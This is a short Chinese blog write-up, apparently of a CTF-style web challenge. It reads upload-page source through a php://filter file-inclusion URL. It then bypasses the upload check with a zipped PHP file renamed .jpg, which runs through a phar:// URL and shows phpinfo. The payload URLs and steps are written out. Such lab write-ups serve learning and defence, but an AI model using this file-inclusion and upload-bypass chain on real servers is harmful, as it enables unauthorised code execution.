记一次简单的GetShell案例
Posted 不不不不不好听
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次简单的GetShell案例相关的知识,希望对你有一定的参考价值。
案例链接:
打开链接,发现分了多个页面:
挨个点击,大概清楚是上传指定格式的文件然后在搜索的时候使文件执行从而GetShell,观察发现点击每个页面后出现“?page=xxx"字样,查看源代码发现还有隐藏的php文件:
于是输入:
http://202.112.51.184:8004/index.php?page=php://filter/convert.base64-encode/resource=upload
得到一串base64编码:
在线解密后得到网页隐藏源码:
1 <html lang="zh-CN"> 2 <head> 3 <meta charset="utf-8"> 4 <?php 5 $error=$_FILES[\'pic\'][\'error\']; 6 $tmpName=$_FILES[\'pic\'][\'tmp_name\']; 7 $name=$_FILES[\'pic\'][\'name\']; 8 $size=$_FILES[\'pic\'][\'size\']; 9 $type=mime_content_type($tmpName); 10 try{ 11 if($name!=="") 12 { 13 $name1=substr($name,-4); 14 if(($name1!==".gif") and ($name1!==".jpg") and ($name1!==\'.zip\')) 15 { 16 echo "hehe"; 17 echo "<script language=javascript>alert(\'上传照片只能是JPG或者GIF!\');history.go(-1)</script>"; 18 exit; 19 } 20 if($type!=="image/jpeg"&&$type!=="image/gif") 21 { 22 echo mime_content_type($tmpName); 23 echo "<script language=javascript>alert(\'上传照片只能是JPG或者GIF!\');history.go(-1)</script>"; 24 exit; 25 } 26 if(is_uploaded_file($tmpName)){ 27 $time=time(); 28 $rootpath=\'uploads/\'.$time.$name1; 29 if(!move_uploaded_file($tmpName,$rootpath)){ 30 echo "<script language=\'JavaScript\'>alert(\'文件移动失败!\');window.location=\'index.php?page=submit\'</script>"; 31 exit; 32 } 33 } 34 echo "图片ID:".$time; 35 } 36 } 37 catch(Exception $e) 38 { 39 echo "ERROR"; 40 } 41 // 42 ?> 43 </html>
从第十四行可以看出其实也支持ZIP文件,想到可以从这里下手
在本地建一个PHP文件,意在使网站对上传文件解析后执行这段代码,即打开phpinfo界面:
<?php phpinfo();?>
将其压缩成ZIP文件后也可将格式改为jpg上传,可以得到图片ID:
然后记住图片ID,在view页搜索后跳转出现以下页面:
这时我们的PHP代码已经执行,我们就可以输入以下网址得到我们需要的phpinfo页面,即GetShell了:
http://202.112.51.184:8007/index.php?page=phar://uploads/1533638442.jpg/2
以上是关于记一次简单的GetShell案例的主要内容,如果未能解决你的问题,请参考以下文章